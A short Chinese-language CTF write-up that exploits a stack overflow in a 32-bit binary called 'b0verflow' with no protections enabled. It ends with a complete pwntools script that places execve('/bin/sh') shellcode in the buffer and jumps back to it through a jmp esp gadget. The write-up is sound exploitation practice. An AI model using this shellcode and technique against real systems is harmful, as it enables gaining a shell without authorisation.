先checksec 一波,32位,啥都沒開

image.png
IDA分析,可以發(fā)現(xiàn)一個很明顯的棧溢出漏洞,但是細心點就會發(fā)現(xiàn)溢出的空間只有0x12有點小,很難構(gòu)造ROP鏈,由于沒有開啟NX,那是不是可以往s寫入shellcode然后返回到棧里執(zhí)行這段shellcode,找一下gadget

image.png
這是里有一個jmp esp那么接下來我們還需要執(zhí)行一段sub esp,0x28;jmp esp就可以返回到s的棧去執(zhí)行寫進去的shellcode

image.png
exp:
from pwn import *
p = process('./b0verflow')
context.log_level = 'debug'
shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"
jmp_esp = 0x08048504
'''
sub esp,0x28
jmp esp
'''
sub_jmp_esp = asm('sub esp,0x28;jmp esp')
payload = shellcode_x86 + 'a'*(0x24-len(shellcode_x86)) + p32(jmp_esp) + sub_jmp_esp
# gdb.attach(p,"b *0x804857a")
# pause()
p.sendline(payload)
p.interactive()